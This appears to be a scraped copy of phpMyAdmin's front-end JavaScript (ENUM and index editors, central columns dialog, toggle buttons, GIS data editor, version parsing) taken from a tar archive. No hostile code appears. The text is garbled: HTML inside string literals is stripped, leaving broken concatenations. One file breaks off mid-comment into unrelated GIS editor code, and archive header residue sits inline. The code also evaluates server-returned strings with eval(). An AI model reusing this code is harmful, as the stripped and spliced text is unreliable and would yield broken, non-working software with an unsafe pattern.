the ENUM/SET dialog */ var dialog = '
        ' + '
        ' + '' + title + '' + '

        ' + Functions.getImage('s_notice') + Messages.enum_hint + '

        ' + '' + fields + '
        ' + '
        ' + '
        ' + '
        ' + '
        ' + '
        ' + '
        ' + '' + '
        ' + '
        '; $('#enumEditorGoButton').on('click', function () { // When the submit button is clicked, // put the data back into the original form var valueArray = []; $('#enumEditorModal').find('.values input').each(function (index, elm) { var val = elm.value.replace(/\\/g, '\\\\').replace(/'/g, '\'\''); valueArray.push('\'' + val + '\''); }); // get the Length/Values text field where this value belongs var valuesId = $('#enumEditorModal').find('input[type=\'hidden\']').val(); $('input#' + valuesId).val(valueArray.join(',')); }); // Show the dialog var width = parseInt( (parseInt($('html').css('font-size'), 10) / 13) * 340, 10 ); if (! width) { width = 340; } $('#enumEditorModal').modal('show'); $('#enumEditorModal').find('.modal-body').first().html(dialog); // slider for choosing how many fields to add $('#enumEditorModal').find('.slider').slider({ animate: true, range: 'min', value: 1, min: 1, max: 9, slide: function (event, ui) { $(this).closest('table').find('input[type=submit]').val( Functions.sprintf(Messages.enum_addValue, ui.value) ); } }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); return false; }); $(document).on('click', 'a.central_columns_dialog', function () { var href = 'index.php?route=/database/central-columns'; var db = CommonParams.get('db'); var table = CommonParams.get('table'); var maxRows = $(this).data('maxrows'); var pick = $(this).data('pick'); if (pick !== false) { pick = true; } var params = { 'ajax_request' : true, 'server' : CommonParams.get('server'), 'db' : CommonParams.get('db'), 'cur_table' : CommonParams.get('table'), 'getColumnList':true }; var colid = $(this).closest('td').find('input').attr('id'); var fields = ''; if (! (db + '_' + table in centralColumnList)) { centralColumnList.push(db + '_' + table); $.ajax({ type: 'POST', url: href, data: params, success: function (data) { centralColumnList[db + '_' + table] = data.message; }, async:false }); } var i = 0; var listSize = centralColumnList[db + '_' + table].length; var min = (listSize <= maxRows) ? listSize : maxRows; for (i = 0; i < min; i++) { fields += '
        ' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_name) + '
        ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_attribute) + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_length) + ') '; } fields += Functions.escapeHtml(centralColumnList[db + '_' + table][i].col_extra) + '' + '
        '; if (pick) { fields += ''; } fields += ''; } var resultPointer = i; var searchIn = ''; if (fields === '') { fields = Functions.sprintf(Messages.strEmptyCentralList, '\'' + Functions.escapeHtml(db) + '\''); searchIn = ''; } var seeMore = ''; if (listSize > maxRows) { seeMore = '
        ' + '' + Messages.seeMore + '
        '; } var centralColumnsDialog = '
        ' + '
        ' + searchIn + '' + fields + '
        ' + '
        ' + seeMore + '
        '; var width = parseInt( (parseInt($('html').css('font-size'), 10) / 13) * 500, 10 ); if (! width) { width = 500; } var buttonOptions = {}; var $centralColumnsDialog = $(centralColumnsDialog).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, minWidth: width, maxHeight: 450, modal: true, title: Messages.pickColumnTitle, buttons: buttonOptions, open: function () { $('#col_list').on('click', '.pick', function () { $centralColumnsDialog.remove(); }); $('.filter_rows').on('keyup', function () { $.uiTableFilter($('#col_list'), $(this).val()); }); $('#seeMore').on('click', function () { fields = ''; min = (listSize <= maxRows + resultPointer) ? listSize : maxRows + resultPointer; for (i = resultPointer; i < min; i++) { fields += '
        ' + centralColumnList[db + '_' + table][i].col_name + '
        ' + centralColumnList[db + '_' + table][i].col_type; if (centralColumnList[db + '_' + table][i].col_attribute !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_attribute + ') '; } if (centralColumnList[db + '_' + table][i].col_length !== '') { fields += '(' + centralColumnList[db + '_' + table][i].col_length + ') '; } fields += centralColumnList[db + '_' + table][i].col_extra + '' + '
        '; if (pick) { fields += ''; } fields += ''; } $('#col_list').append(fields); resultPointer = i; if (resultPointer === listSize) { $('#seeMore').hide(); } return false; }); $(this).closest('.ui-dialog').find('.ui-dialog-buttonpane button').first().trigger('focus'); }, close: function () { $('#col_list').off('click', '.pick'); $('.filter_rows').off('keyup'); $(this).remove(); } }); return false; }); // $(document).on('click', 'a.show_central_list',function(e) { // }); // When "add a new value" is clicked, append an empty text field $(document).on('click', 'input.add_value', function (e) { e.preventDefault(); var numNewRows = $('#enumEditorModal').find('div.slider').slider('value'); while (numNewRows--) { $('#enumEditorModal').find('.values') .append( '' + '' + '' + Functions.getImage('b_drop') + '' ) .find('tr').last() .show('fast'); } }); // Removes the specified row from the enum editor $(document).on('click', '#enum_editor td.drop', function () { $(this).closest('tr').hide('fast', function () { $(this).remove(); }); }); }); /** * Ensures indexes names are valid according to their type and, for a primary * key, lock index name to 'PRIMARY' * @param {string} formId Variable which parses the form name as * the input * @return {boolean} false if there is no index form, true else */ Functions.checkIndexName = function (formId) { if ($('#' + formId).length === 0) { return false; } // Gets the elements pointers var $theIdxName = $('#input_index_name'); var $theIdxChoice = $('#select_index_choice'); // Index is a primary key if ($theIdxChoice.find('option:selected').val() === 'PRIMARY') { $theIdxName.val('PRIMARY'); $theIdxName.prop('disabled', true); } else { if ($theIdxName.val() === 'PRIMARY') { $theIdxName.val(''); } $theIdxName.prop('disabled', false); } return true; }; AJAX.registerTeardown('functions.js', function () { $(document).off('click', '#index_frm input[type=submit]'); }); AJAX.registerOnload('functions.js', function () { /** * Handler for adding more columns to an index in the editor */ $(document).on('click', '#index_frm input[type=submit]', function (event) { event.preventDefault(); var hadAddButtonHidden = $(this).closest('fieldset').find('.add_fields').hasClass('hide'); if (hadAddButtonHidden === false) { var rowsToAdd = $(this) .closest('fieldset') .find('.slider') .slider('value'); var tempEmptyVal = function () { $(this).val(''); }; var tempSetFocus = function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }; while (rowsToAdd--) { var $indexColumns = $('#index_columns'); var $newrow = $indexColumns .find('tbody > tr').first() .clone() .appendTo( $indexColumns.find('tbody') ); $newrow.find(':input').each(tempEmptyVal); // focus index size input on column picked $newrow.find('select').on('change', tempSetFocus); } } }); }); Functions.indexDialogModal = function (routeUrl, url, title, callbackSuccess, callbackFailure) { /* Remove the hidden dialogs if there are*/ var modal = $('#indexDialogModal'); const indexDialogPreviewModal = document.getElementById('indexDialogPreviewModal'); indexDialogPreviewModal.addEventListener('shown.bs.modal', () => { const modalBody = indexDialogPreviewModal.querySelector('.modal-body'); const $form = $('#index_frm'); const formUrl = $form.attr('action'); const sep = CommonParams.get('arg_separator'); const formData = $form.serialize() + sep + 'do_save_data=1' + sep + 'preview_sql=1' + sep + 'ajax_request=1'; $.post({ url: formUrl, data: formData, success: response => { if (! response.success) { modalBody.innerHTML = ''; return; } modalBody.innerHTML = response.sql_data; Functions.highlightSql($('#indexDialogPreviewModal')); }, error: () => { modalBody.innerHTML = ''; } }); }); indexDialogPreviewModal.addEventListener('hidden.bs.modal', () => { indexDialogPreviewModal.querySelector('.modal-body').innerHTML = '
        ' + '' + Messages.strLoading + '
        '; }); // Remove previous click listeners from other modal openings (issue: #17892) $('#indexDialogModalGoButton').off('click'); $('#indexDialogModalGoButton').on('click', function () { /** * @var the_form object referring to the export form */ var $form = $('#index_frm'); Functions.ajaxShowMessage(Messages.strProcessingRequest); Functions.prepareForAjaxRequest($form); // User wants to submit the form $.post($form.attr('action'), $form.serialize() + CommonParams.get('arg_separator') + 'do_save_data=1', function (data) { var $sqlqueryresults = $('.sqlqueryresults'); if ($sqlqueryresults.length !== 0) { $sqlqueryresults.remove(); } if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxShowMessage(data.message); Functions.highlightSql($('.result_query')); $('.result_query .alert').remove(); /* Reload the field form*/ $('#table_index').remove(); $('
        ') .append(data.index_table) .find('#table_index') .insertAfter('#index_header'); var $editIndexDialog = $('#indexDialogModal'); if ($editIndexDialog.length > 0) { $editIndexDialog.modal('hide'); } $('div.no_indexes_defined').hide(); if (callbackSuccess) { callbackSuccess(data); } Navigation.reload(); } else { var $tempDiv = $('
        ').append(data.error); var $error; if ($tempDiv.find('.error code').length !== 0) { $error = $tempDiv.find('.error code').addClass('error'); } else { $error = $tempDiv; } if (callbackFailure) { callbackFailure(); } Functions.ajaxShowMessage($error, false); } }); // end $.post() }); var $msgbox = Functions.ajaxShowMessage(); $.post(routeUrl, url, function (data) { if (typeof data !== 'undefined' && data.success === false) { // in the case of an error, show the error message returned. Functions.ajaxShowMessage(data.error, false); } else { Functions.ajaxRemoveMessage($msgbox); // Show dialog if the request was successful modal.modal('show'); modal.find('.modal-body').first().html(data.message); $('#indexDialogModalLabel').first().text(title); Functions.verifyColumnsProperties(); modal.find('.tblFooters').remove(); Functions.showIndexEditDialog(modal); } }); // end $.get() }; Functions.indexEditorDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes', url, title, callbackSuccess, callbackFailure); }; Functions.indexRenameDialog = function (url, title, callbackSuccess, callbackFailure) { Functions.indexDialogModal('index.php?route=/table/indexes/rename', url, title, callbackSuccess, callbackFailure); }; Functions.showIndexEditDialog = function ($outer) { Indexes.checkIndexType(); Functions.checkIndexName('index_frm'); var $indexColumns = $('#index_columns'); $indexColumns.find('td').each(function () { $(this).css('width', $(this).width() + 'px'); }); $indexColumns.find('tbody').sortable({ axis: 'y', containment: $indexColumns.find('tbody'), tolerance: 'pointer' }); Functions.showHints($outer); // Add a slider for selecting how many columns to add to the index $outer.find('.slider').slider({ animate: true, value: 1, min: 1, max: 16, slide: function (event, ui) { $(this).closest('fieldset').find('input[type=submit]').val( Functions.sprintf(Messages.strAddToIndex, ui.value) ); } }); $('div.add_fields').removeClass('hide'); // focus index size input on column picked $outer.find('table#index_columns select').on('change', function () { if ($(this).find('option:selected').val() === '') { return true; } $(this).closest('tr').find('input').trigger('focus'); }); // Focus the slider, otherwise it looks nearly transparent $('a.ui-slider-handle').addClass('ui-state-focus'); // set focus on index name input, if empty var input = $outer.find('input#input_index_name'); if (! input.val()) { input.trigger('focus'); } }; /** * Function to display tooltips that were * generated on the PHP side by PhpMyAdmin\Util::showHint() * * @param {object} $div a div jquery object which specifies the * domain for searching for tooltips. If we * omit this parameter the function searches * in the whole body **/ Functions.showHints = function ($div) { var $newDiv = $div; if ($newDiv === undefined || !($newDiv instanceof jQuery) || $newDiv.length === 0) { $newDiv = $('body'); } $newDiv.find('.pma_hint').each(function () { Functions.tooltip( $(this).children('img'), 'img', $(this).children('span').html() ); }); }; AJAX.registerOnload('functions.js', function () { Functions.showHints(); }); Functions.mainMenuResizerCallback = function () { // 5 px margin for jumping menu in Chrome // eslint-disable-next-line compat/compat return $(document.body).width() - 5; }; // This must be fired only once after the initial page load $(function () { // Initialise the menu resize plugin $('#topmenu').menuResizer(Functions.mainMenuResizerCallback); // register resize event $(window).on('resize', function () { $('#topmenu').menuResizer('resize'); }); }); /** * var toggleButton This is a function that creates a toggle * sliding button given a jQuery reference * to the correct DOM element * * @param $obj */ Functions.toggleButton = function ($obj) { // In rtl mode the toggle switch is flipped horizontally // so we need to take that into account var right; if ($('span.text_direction', $obj).text() === 'ltr') { right = 'right'; } else { right = 'left'; } /** * @var h Height of the button, used to scale the * background image and position the layers */ var h = $obj.height(); $('img', $obj).height(h); $('table', $obj).css('bottom', h - 1); /** * @var on Width of the "ON" part of the toggle switch * @var off Width of the "OFF" part of the toggle switch */ var on = $('td.toggleOn', $obj).width(); var off = $('td.toggleOff', $obj).width(); // Make the "ON" and "OFF" parts of the switch the same size // + 2 pixels to avoid overflowed $('td.toggleOn > div', $obj).width(Math.max(on, off) + 2); $('td.toggleOff > div', $obj).width(Math.max(on, off) + 2); /** * @var w Width of the central part of the switch */ var w = parseInt(($('img', $obj).height() / 16) * 22, 10); // Resize the central part of the switch on the top // layer to match the background $($obj).find('table td').eq(1).children('div').width(w); /** * @var imgw Width of the background image * @var tblw Width of the foreground layer * @var offset By how many pixels to move the background * image, so that it matches the top layer */ var imgw = $('img', $obj).width(); var tblw = $('table', $obj).width(); var offset = parseInt(((imgw - tblw) / 2), 10); // Move the background to match the layout of the top layer $obj.find('img').css(right, offset); /** * @var offw Outer width of the "ON" part of the toggle switch * @var btnw Outer width of the central part of the switch */ var offw = $('td.toggleOff', $obj).outerWidth(); var btnw = $($obj).find('table td').eq(1).outerWidth(); // Resize the main div so that exactly one side of // the switch plus the central part fit into it. $obj.width(offw + btnw + 2); /** * @var move How many pixels to move the * switch by when toggling */ var move = $('td.toggleOff', $obj).outerWidth(); // If the switch is initialized to the // OFF state we need to move it now. if ($('div.toggle-container', $obj).hasClass('off')) { if (right === 'right') { $('div.toggle-container', $obj).animate({ 'left': '-=' + move + 'px' }, 0); } else { $('div.toggle-container', $obj).animate({ 'left': '+=' + move + 'px' }, 0); } } // Attach an 'onclick' event to the switch $('div.toggle-container', $obj).on('click', function () { if ($(this).hasClass('isActive')) { return false; } else { $(this).addClass('isActive'); } var $msg = Functions.ajaxShowMessage(); var $container = $(this); var callback = $('span.callback', this).text(); var operator; var url; var removeClass; var addClass; // Perform the actual toggle if ($(this).hasClass('on')) { if (right === 'right') { operator = '-='; } else { operator = '+='; } url = $(this).find('td.toggleOff > span').text(); removeClass = 'on'; addClass = 'off'; } else { if (right === 'right') { operator = '+='; } else { operator = '-='; } url = $(this).find('td.toggleOn > span').text(); removeClass = 'off'; addClass = 'on'; } var parts = url.split('?'); $.post(parts[0], parts[1] + '&ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $container .removeClass(removeClass) .addClass(addClass) .animate({ 'left': operator + move + 'px' }, function () { $container.removeClass('isActive'); }); // eslint-disable-next-line no-eval eval(callback); } else { Functions.ajaxShowMessage(data.error, false); $container.removeClass('isActive'); } }); }); }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $('div.toggle-container').off('click'); }); /** * Initialise all toggle buttons */ AJAX.registerOnload('functions.js', function () { $('div.toggleAjax').each(function () { var $button = $(this).show(); $button.find('img').each(function () { if (this.complete) { Functions.toggleButton($button); } else { $(this).on('load', function () { Functions.toggleButton($button); }); } }); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', 'select.pageselector'); $('#update_recent_tables').off('ready'); $('#sync_favorite_tables').off('ready'); }); AJAX.registerOnload('functions.js', function () { /** * Autosubmit page selector */ $(document).on('change', 'select.pageselector', function (event) { event.stopPropagation(); // Check where to load the new content if ($(this).closest('#pma_navigation').length === 0) { // For the main page we don't need to do anything, $(this).closest('form').trigger('submit'); } else { // but for the navigation we need to manually replace the content Navigation.treePagination($(this)); } }); var $updateRecentTables = $('#update_recent_tables'); if ($updateRecentTables.length) { $.get( $updateRecentTables.attr('href'), { 'no_debug': true }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#pma_recent_list').html(data.list); } } ); } // Sync favorite tables from localStorage to pmadb. if ($('#sync_favorite_tables').length) { $.ajax({ url: $('#sync_favorite_tables').attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': (isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined') ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server'), 'no_debug': true }, success: function (data) { // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } $('#pma_favorite_list').html(data.list); } }); } }); // end of $() /** * Creates a message inside an object with a sliding effect * * @param {string} msg A string containing the text to display * @param {JQuery} $object a jQuery object containing the reference * to the element where to put the message * This is optional, if no element is * provided, one will be created below the * navigation links at the top of the page * * @return {boolean} True on success, false on failure */ Functions.slidingMessage = function (msg, $object) { var $obj = $object; if (msg === undefined || msg.length === 0) { // Don't show an empty message return false; } if ($obj === undefined || !($obj instanceof jQuery) || $obj.length === 0) { // If the second argument was not supplied, // we might have to create a new DOM node. if ($('#PMA_slidingMessage').length === 0) { $('#page_content').prepend( '' ); } $obj = $('#PMA_slidingMessage'); } if ($obj.has('div').length > 0) { // If there already is a message inside the // target object, we must get rid of it $obj .find('div') .first() .fadeOut(function () { $obj .children() .remove(); $obj .append('
        ' + msg + '
        '); // highlight any sql before taking height; Functions.highlightSql($obj); $obj.find('div') .first() .hide(); $obj .animate({ height: $obj.find('div').first().height() }) .find('div') .first() .fadeIn(); }); } else { // Object does not already have a message // inside it, so we simply slide it down $obj.width('100%') .html('
        ' + msg + '
        '); // highlight any sql before taking height; Functions.highlightSql($obj); var h = $obj .find('div') .first() .hide() .height(); $obj .find('div') .first() .css('height', 0) .show() .animate({ height: h }, function () { // Set the height of the parent // to the height of the child $obj .height( $obj .find('div') .first() .height() ); }); } return true; }; /** * Attach CodeMirror2 editor to SQL edit area. */ AJAX.registerOnload('functions.js', function () { var $elm = $('#sqlquery'); if ($elm.siblings().filter('.CodeMirror').length > 0) { return; } if ($elm.length > 0) { if (typeof CodeMirror !== 'undefined') { codeMirrorEditor = Functions.getSqlEditor($elm); codeMirrorEditor.focus(); codeMirrorEditor.on('blur', Functions.updateQueryParameters); } else { // without codemirror $elm.trigger('focus').on('blur', Functions.updateQueryParameters); } } Functions.highlightSql($('body')); }); AJAX.registerTeardown('functions.js', function () { if (codeMirrorEditor) { $('#sqlquery').text(codeMirrorEditor.getValue()); codeMirrorEditor.toTextArea(); codeMirrorEditor = false; } }); AJAX.registerOnload('functions.js', function () { // initializes all lock-page elements lock-id and // val-hash data property $('#page_content form.lock-page textarea, ' + '#page_content form.lock-page input[type="text"], ' + '#page_content form.lock-page input[type="number"], ' + '#page_content form.lock-page select').each(function (i) { $(this).data('lock-id', i); // val-hash is the hash of default value of the field // so that it can be compared with new value hash // to check whether field was modified or not. $(this).data('val-hash', AJAX.hash($(this).val())); }); // initializes lock-page elements (input types checkbox and radio buttons) // lock-id and val-hash data property $('#page_content form.lock-page input[type="checkbox"], ' + '#page_content form.lock-page input[type="radio"]').each(function (i) { $(this).data('lock-id', i); $(this).data('val-hash', AJAX.hash($(this).is(':checked'))); }); }); /** * jQuery plugin to correctly filter input fields by value, needed * because some nasty values may break selector syntax */ (function ($) { $.fn.filterByValue = function (value) { return this.filter(function () { return $(this).val() === value; }); }; }(jQuery)); /** * Return value of a cell in a table. * * @param {string} td * @return {string} */ Functions.getCellValue = function (td) { var $td = $(td); if ($td.is('.null')) { return ''; } else if ((! $td.is('.to_be_saved') || $td.is('.set')) && $td.data('original_data') ) { return $td.data('original_data'); } else { return $td.text(); } }; /** * Validate and return stringified JSON inputs, or plain if invalid. * * @param json the json input to be validated and stringified * @param replacer An array of strings and numbers that acts as an approved list for selecting the object properties that will be stringified. * @param space Adds indentation, white space, and line break characters to the return-value JSON text to make it easier to read. * @return {string} */ Functions.stringifyJSON = function (json, replacer = null, space = 0) { try { return JSON.stringify(JSON.parse(json), replacer, space); } catch (e) { return json; } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { $(document).off('change', '.autosubmit'); }); AJAX.registerOnload('functions.js', function () { /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function () { $(this).closest('form').trigger('submit'); }); }); /** * @implements EventListener */ const PrintPage = { handleEvent: () => { window.print(); } }; /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.removeEventListener('click', PrintPage); }); $(document).off('click', 'a.create_view.ajax'); $(document).off('keydown', '#createViewModal input, #createViewModal select'); $(document).off('change', '#fkc_checkbox'); }); AJAX.registerOnload('functions.js', function () { document.querySelectorAll('.jsPrintButton').forEach(item => { item.addEventListener('click', PrintPage); }); $('.logout').on('click', function () { var form = $( '
        ' + '' + '
        ' ); $('body').append(form); form.submit(); sessionStorage.clear(); return false; }); /** * Ajaxification for the "Create View" action */ $(document).on('click', 'a.create_view.ajax', function (e) { e.preventDefault(); Functions.createViewModal($(this)); }); /** * Attach Ajax event handlers for input fields in the editor * and used to submit the Ajax request when the ENTER key is pressed. */ if ($('#createViewModal').length !== 0) { $(document).on('keydown', '#createViewModal input, #createViewModal select', function (e) { if (e.which === 13) { // 13 is the ENTER key e.preventDefault(); // with preventing default, selection by ' + '' + ''; } /** * Initialize the visualization in the GIS data editor. */ function initGISEditorVisualization () { storeGisSvgRef(); // Loads either SVG or OSM visualization based on the choice selectVisualization(); // Adds necessary styles to the div that contains the openStreetMap styleOSM(); // Adds controllers for zooming and panning addZoomPanControllers(); zoomAndPan(); } /** * Loads JavaScript files and the GIS editor. * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field * @param token token */ // eslint-disable-next-line no-unused-vars function loadJSAndGISEditor (value, field, type, inputName) { var head = document.getElementsByTagName('head')[0]; var script; script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'js/dist/table/gis_visualization.js'; head.appendChild(script); // OpenLayers.js is BIG and takes time. So asynchronous loading would not work. // Load the JS and do a callback to load the content for the GIS Editor. script = document.createElement('script'); script.type = 'text/javascript'; script.onreadystatechange = function () { if (this.readyState === 'complete') { loadGISEditor(value, field, type, inputName); } }; script.onload = function () { loadGISEditor(value, field, type, inputName); }; script.onerror = function () { loadGISEditor(value, field, type, inputName); }; script.src = 'js/vendor/openlayers/OpenLayers.js'; head.appendChild(script); gisEditorLoaded = true; } /** * Loads the GIS editor via AJAX * * @param value current value of the geometry field * @param field field name * @param type geometry type * @param inputName name of the input field */ function loadGISEditor (value, field, type, inputName) { var $gisEditor = $('#gis_editor'); $.post('index.php?route=/gis-data-editor', { 'field' : field, 'value' : value, 'type' : type, 'input_name' : inputName, 'get_gis_editor' : true, 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); } /** * Opens up the dialog for the GIS data editor. */ // eslint-disable-next-line no-unused-vars function openGISEditor () { // Center the popup var windowWidth = document.documentElement.clientWidth; var windowHeight = document.documentElement.clientHeight; var popupWidth = windowWidth * 0.9; var popupHeight = windowHeight * 0.9; var popupOffsetTop = windowHeight / 2 - popupHeight / 2; var popupOffsetLeft = windowWidth / 2 - popupWidth / 2; var $gisEditor = $('#gis_editor'); var $background = $('#popup_background'); $gisEditor.css({ 'top': popupOffsetTop, 'left': popupOffsetLeft, 'width': popupWidth, 'height': popupHeight }); $background.css({ 'opacity' : '0.7' }); $gisEditor.append( '
        ' + '' + '
        ' ); // Make it appear $background.fadeIn('fast'); $gisEditor.fadeIn('fast'); } /** * Prepare and insert the GIS data in Well Known Text format * to the input field. */ function insertDataAndClose () { var $form = $('form#gis_data_editor_form'); var inputName = $form.find('input[name=\'input_name\']').val(); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('input[name=\'' + inputName + '\']').val(data.result); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); closeGISEditor(); } /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('gis_data_editor.js', function () { $(document).off('click', '#gis_editor input[name=\'gis_data[save]\']'); $(document).off('submit', '#gis_editor'); $(document).off('change', '#gis_editor input[type=\'text\']'); $(document).off('change', '#gis_editor select.gis_type'); $(document).off('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor'); $(document).off('click', '#gis_editor a.addJs.addPoint'); $(document).off('click', '#gis_editor a.addLine.addJs'); $(document).off('click', '#gis_editor a.addJs.addPolygon'); $(document).off('click', '#gis_editor a.addJs.addGeom'); }); AJAX.registerOnload('gis_data_editor.js', function () { /** * Prepares and insert the GIS data to the input field on clicking 'copy'. */ $(document).on('click', '#gis_editor input[name=\'gis_data[save]\']', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Prepares and insert the GIS data to the input field on pressing 'enter'. */ $(document).on('submit', '#gis_editor', function (event) { event.preventDefault(); insertDataAndClose(); }); /** * Trigger asynchronous calls on data change and update the output. */ $(document).on('change', '#gis_editor input[type=\'text\']', function () { var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'generate=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $('#gis_data_textarea').val(data.result); $('#placeholder').empty().removeClass('hasSVG').html(data.visualization); $('#openlayersmap').empty(); /* TODO: the gis_data_editor should rather return JSON than JS code to eval */ // eslint-disable-next-line no-eval eval(data.openLayers); initGISEditorVisualization(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Update the form on change of the GIS type. */ $(document).on('change', '#gis_editor select.gis_type', function () { var $gisEditor = $('#gis_editor'); var $form = $('form#gis_data_editor_form'); var argsep = CommonParams.get('arg_separator'); $.post('index.php?route=/gis-data-editor', $form.serialize() + argsep + 'get_gis_editor=true' + argsep + 'ajax_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { $gisEditor.html(data.gis_editor); initGISEditorVisualization(); prepareJSVersion(); } else { Functions.ajaxShowMessage(data.error, false); } }, 'json'); }); /** * Handles closing of the GIS data editor. */ $(document).on('click', '#gis_editor a.close_gis_editor, #gis_editor a.cancel_gis_editor', function () { closeGISEditor(); }); /** * Handles adding data points */ $(document).on('click', '#gis_editor a.addJs.addPoint', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOINT][add_point] => prefix = gis_data[0][MULTIPOINT] var prefix = name.substr(0, name.length - 11); // Find the number of points var $noOfPointsInput = $('input[name=\'' + prefix + '[no_of_points]' + '\']'); var noOfPoints = parseInt($noOfPointsInput.val(), 10); // Add the new data point var html = addDataPoint(noOfPoints, prefix); $a.before(html); $noOfPointsInput.val(noOfPoints + 1); }); /** * Handles adding linestrings and inner rings */ $(document).on('click', '#gis_editor a.addLine.addJs', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTILINESTRING][add_line] => prefix = gis_data[0][MULTILINESTRING] var prefix = name.substr(0, name.length - 10); var type = prefix.slice(prefix.lastIndexOf('[') + 1, prefix.lastIndexOf(']')); // Find the number of lines var $noOfLinesInput = $('input[name=\'' + prefix + '[no_of_lines]' + '\']'); var noOfLines = parseInt($noOfLinesInput.val(), 10); // Add the new linesting of inner ring based on the type var html = '
        '; var noOfPoints; if (type === 'MULTILINESTRING') { html += Messages.strLineString + ' ' + (noOfLines + 1) + ':'; noOfPoints = 2; } else { html += Messages.strInnerRing + ' ' + noOfLines + ':'; noOfPoints = 4; } html += ''; for (var i = 0; i < noOfPoints; i++) { html += addDataPoint(i, (prefix + '[' + noOfLines + ']')); } html += '+ ' + Messages.strAddPoint + '
        '; $a.before(html); $noOfLinesInput.val(noOfLines + 1); }); /** * Handles adding polygons */ $(document).on('click', '#gis_editor a.addJs.addPolygon', function () { var $a = $(this); var name = $a.attr('name'); // Eg. name = gis_data[0][MULTIPOLYGON][add_polygon] => prefix = gis_data[0][MULTIPOLYGON] var prefix = name.substr(0, name.length - 13); // Find the number of polygons var $noOfPolygonsInput = $('input[name=\'' + prefix + '[no_of_polygons]' + '\']'); var noOfPolygons = parseInt($noOfPolygonsInput.val(), 10); // Add the new polygon var html = Messages.strPolygon + ' ' + (noOfPolygons + 1) + ':
        '; html += '' + '
        ' + Messages.strOuterRing + ':' + ''; for (var i = 0; i < 4; i++) { html += addDataPoint(i, (prefix + '[' + noOfPolygons + '][0]')); } html += '+ ' + Messages.strAddPoint + '
        ' + '+ ' + Messages.strAddInnerRing + '

        '; $a.before(html); $noOfPolygonsInput.val(noOfPolygons + 1); }); /** * Handles adding geoms */ $(document).on('click', '#gis_editor a.addJs.addGeom', function () { var $a = $(this); var prefix = 'gis_data[GEOMETRYCOLLECTION]'; // Find the number of geoms var $noOfGeomsInput = $('input[name=\'' + prefix + '[geom_count]' + '\']'); var noOfGeoms = parseInt($noOfGeomsInput.val(), 10); var html1 = Messages.strGeometry + ' ' + (noOfGeoms + 1) + ':
        '; var $geomType = $('select[name=\'gis_data[' + (noOfGeoms - 1) + '][gis_type]\']').clone(); $geomType.attr('name', 'gis_data[' + noOfGeoms + '][gis_type]').val('POINT'); var html2 = '
        ' + Messages.strPoint + ' :' + '' + '' + '' + '' + '

        '; $a.before(html1); $geomType.insertBefore($a); $a.before(html2); $noOfGeomsInput.val(noOfGeoms + 1); }); }); src/home.js000066600000013723151724472050006642 0ustar00const GitInfo = { /** * Version string to integer conversion. * @param {string} str * @return {number | false} */ parseVersionString: function (str) { if (typeof(str) !== 'string') { return false; } let add = 0; // Parse possible alpha/beta/rc/ const state = str.split('-'); if (state.length >= 2) { if (state[1].substr(0, 2) === 'rc') { add = - 20 - parseInt(state[1].substr(2), 10); } else if (state[1].substr(0, 4) === 'beta') { add = - 40 - parseInt(state[1].substr(4), 10); } else if (state[1].substr(0, 5) === 'alpha') { add = - 60 - parseInt(state[1].substr(5), 10); } else if (state[1].substr(0, 3) === 'dev') { /* We don't handle dev, it's git snapshot */ add = 0; } } // Parse version const x = str.split('.'); // Use 0 for non existing parts const maj = parseInt(x[0], 10) || 0; const min = parseInt(x[1], 10) || 0; const pat = parseInt(x[2], 10) || 0; const hotfix = parseInt(x[3], 10) || 0; return maj * 100000000 + min * 1000000 + pat * 10000 + hotfix * 100 + add; }, /** * Indicates current available version on main page. * @param {object} data */ currentVersion: function (data) { if (data && data.version && data.date) { const current = 